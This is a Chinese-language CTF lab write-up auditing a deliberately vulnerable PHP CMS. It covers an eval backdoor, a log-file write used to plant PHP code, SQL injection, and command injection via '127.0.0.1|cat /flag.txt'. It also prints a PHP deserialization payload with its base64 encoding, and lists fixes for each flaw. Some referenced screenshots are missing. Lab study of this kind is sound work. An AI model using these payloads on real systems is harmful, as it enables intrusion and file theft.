首先这里需要搭建一个cms的平台得到:
利用D盾进行漏洞扫描得到:
5级的eval后门漏洞
可以看到这里有一个5级的eval后门漏洞,我们查看文件得到源码:
这是一句话后门,我们利用一下这个后门得到:
这里能cat flag
修补增加过滤或者删除漏洞
2级的fwrite审计:
利用seay工具进行代码审计:
源码:
可以发现这是一个日志记录,但是它把记录的日志都写入到了
/var/www/html/log.php文件,这就造成文件写入漏洞
我们利用这个log1.php用get的方式写一个<?php phpinfo();?>
测试一下漏洞:
然后我们访问log.php文夹得到:
发现执行了phpinfo();
所以我们可以利用这个文件写入,去写入一句话木马
修复:
1、可以把log.php改成log.txt
2、增加危险字符过滤
2级漏洞eval(get_defined_vars()[’_GET’][‘cmd’]);
查看源码得到:
get_defined_vars()此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
所有会获取所有的get方法,所有直接cmd执行命令:
修复:
1、进行危险字符过滤
2、把后门删除
在利用seay进行代码审计:
首先我们分析一下首页,index.php
:
发现包含了很多文件,这里有个/common/function.php文件
我们去访问这个文件得到:
可以看到这里把c作为一个对象,a作为一个方法进行调研
在index.php中可以看到,如果不给c传值会赋值为User
所有c的对象为User.php文件
所有看向User.php文件
我可以看到User这个类功还是挺多的,我们看向Login方法
sql注入
发现这里没有任何的过滤,所有登陆界面存在sql注入:
登陆得到:
修复:
进行危险字符过滤
命令执行
我在User.php看到:
看到这里有一个命令执行
我们在index.php哪里进行get请求
a=User&c=ping
然后在进行host请求:
发现执行了命令
利用命令:
127.0.0.1|cat /flag.txt
修复漏洞;
进行危险字符过滤
反序列化
在seay中全局查询反序列化函数得到:
反序列化漏洞源码:
payload:
class home{
private $method;
private $args;
}
$a = new home("ping",array('127.0.0.1|cat /flag.txt'));
$b = serialize($a);
echo base64_encode($b);
得到:
Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==
得到flag。
漏洞修补:
过滤危险字符
本人比较菜漏洞审计就到这里,不妥的地方大佬勿喷
其它漏洞我也审计不出来直接上waf通防范。